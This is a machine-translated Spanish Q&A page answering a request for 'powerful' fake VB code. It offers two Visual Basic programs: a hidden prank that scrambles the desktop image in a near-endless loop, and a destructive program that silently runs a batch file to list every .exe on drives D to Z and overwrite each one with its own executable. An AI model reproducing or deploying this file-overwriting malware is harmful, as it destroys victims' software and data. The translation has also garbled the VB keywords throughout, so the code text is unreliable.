Red de conocimiento informático - Conocimiento de la instalación - Solicitando algunos códigos falsos de VB.

Cuanto más potente sea el efecto, mejor, por ejemplo: pantalla azul, etc.

Solicitando algunos códigos falsos de VB.

Cuanto más potente sea el efecto, mejor, por ejemplo: pantalla azul, etc.

El escritorio de la computadora se derrite, ¡este código es realmente poderoso! De hecho, no puedo ver la pantalla, está derretida como un helado; Función de declaración privada GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Función de declaración privada GetDesktopWindow Lib "user32" () As Long

Función de declaración privada CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Función de declaración privada CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Función de declaración privada SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Función de declaración privada BitBlt Lib "gdi32" " (ByVal hDestDC Mientras, ByVal x Mientras, ByVal y Mientras, ByVal nWidth Mientras, ByVal nHeight Mientras, ByVal hSrcDC Mientras, ByVal xSrc Mientras, ByVal ySrc Mientras, ByVal dwRop Mientras) Mientras< / p>

Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x como entero, y como entero

Dim Buffer mientras, hBitmap mientras, escritorio como Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load ( )

Me.Hide

Escritorio = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC ( Escritorio)

Buffer = CreateCompatibleBitmap(Escritorio, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Escritorio, Screen.Width / 15, Screen.Height / 15)

SeleccionarObjeto hBitmap, Buf

fer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Escritorio, 0, 0, SRCCOPY

Para i = 0 a 1E+17

y = (Alto.Pantalla / 15) * Rnd

x = (Ancho.Pantalla / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Escritorio, x, y, SRCCOPY

BitBlt Escritorio, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd) , 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub También hay una carta de triunfo; que puede matar personas

----------------------------------------------- ------ ---declaración---------------------------------------- ------ ------------------

'Si no comprende el código, no genere un archivo exe y ejecútelo eso... ....De lo contrario, no me culpes por no recordártelo. . . . . . .

Declaración privada Sub Sleep Lib "kernel32" (ByVal dwMillisegundos mientras)

Sub privada Form_Load()

En caso de error, reanudar siguiente 'frase tolerante a errores

Si Dir("c:\123.txt") = "" Entonces 'Si 123.txt no existe, cree un archivo exe transversal bat

Abra "c:\a .bat" Para salida como #1 'Abrir archivo bat

Imprimir #1, "para %%a en (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ' Escribir datos

Cerrar #1 'Cerrar el archivo

Dormir 200 'Retraso de 200 segundos para esperar la generación del archivo (principalmente para máquinas lentas)

Shell "c :\a.bat ", 0 'Ocultar ejecución

Finalizar si

Dormir 60000 'Retrasar 1 minuto para esperar a que se complete el recorrido del exe

Atenuar A( ) Como cadena

Dim C As Long, I como entero

Abrir "c:\123.txt" para entrada como #1 'Leer el contenido de txt

Hacer mientras EOF (1) = Falso

ReDim Preservar A(C)

Entrada #1, A(C)

C = C + 1

Bucle

Cerrar #1

Para I = 0 A C - 1

FileCopy App.Path & "\" & App .EXEName & ". exe", A(I) 'Reemplazar el contenido en txt

Next

End Sub